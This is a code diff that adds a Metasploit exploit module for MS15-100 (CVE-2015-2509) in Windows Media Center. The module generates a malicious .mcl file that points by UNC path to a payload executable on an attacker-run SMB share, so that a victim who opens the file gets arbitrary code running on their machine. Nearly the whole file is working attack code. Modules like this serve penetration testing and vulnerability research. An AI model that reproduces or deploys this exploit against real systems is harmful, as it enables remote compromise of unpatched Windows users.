|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::FILEFORMAT |
| 12 | + include Msf::Exploit::EXE |
| 13 | + include Msf::Exploit::Remote::SMB::Server::Share |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => "MS15-100 Microsoft Windows Media Center MCL Vulnerability", |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a vulnerability in Windows Media Center. By supplying |
| 20 | + an UNC path in the *.mcl file, a remote file will be automatically downloaded, |
| 21 | + which can result in arbitrary code execution. |
| 22 | + }, |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'sinn3r', |
| 27 | + ], |
| 28 | + 'References' => |
| 29 | + [ |
| 30 | + ['CVE', '2015-2509'], |
| 31 | + ['MSB', 'MS15-100'] |
| 32 | + ], |
| 33 | + 'Payload' => |
| 34 | + { |
| 35 | + 'DisableNops' => true |
| 36 | + }, |
| 37 | + 'DefaultOptions' => |
| 38 | + { |
| 39 | + 'DisablePayloadHandler' => 'false' |
| 40 | + }, |
| 41 | + 'Platform' => 'win', |
| 42 | + 'Targets' => |
| 43 | + [ |
| 44 | + ['Windows', {}], |
| 45 | + ], |
| 46 | + 'Privileged' => false, |
| 47 | + 'DisclosureDate' => "Sep 8 2015", |
| 48 | + 'DefaultTarget' => 0)) |
| 49 | + |
| 50 | + register_options( |
| 51 | + [ |
| 52 | + OptString.new('FILENAME', [true, 'The MCL file', 'msf.mcl']), |
| 53 | + OptString.new('FILE_NAME', [ false, 'The name of the malicious payload to execute', 'msf.exe']) |
| 54 | + ], self.class) |
| 55 | + |
| 56 | + deregister_options('FILE_CONTENTS') |
| 57 | + end |
| 58 | + |
| 59 | + def generate_mcl |
| 60 | + %Q|<application run="#{unc}" />| |
| 61 | + end |
| 62 | + |
| 63 | + def primer |
| 64 | + self.file_contents = generate_payload_exe |
| 65 | + print_status("Malicious executable at #{unc}...") |
| 66 | + |
| 67 | + print_status("Creating '#{datastore['FILENAME']}' file ...") |
| 68 | + mcl = generate_mcl |
| 69 | + file_create(mcl) |
| 70 | + end |
| 71 | + |
| 72 | +end |
0 commit comments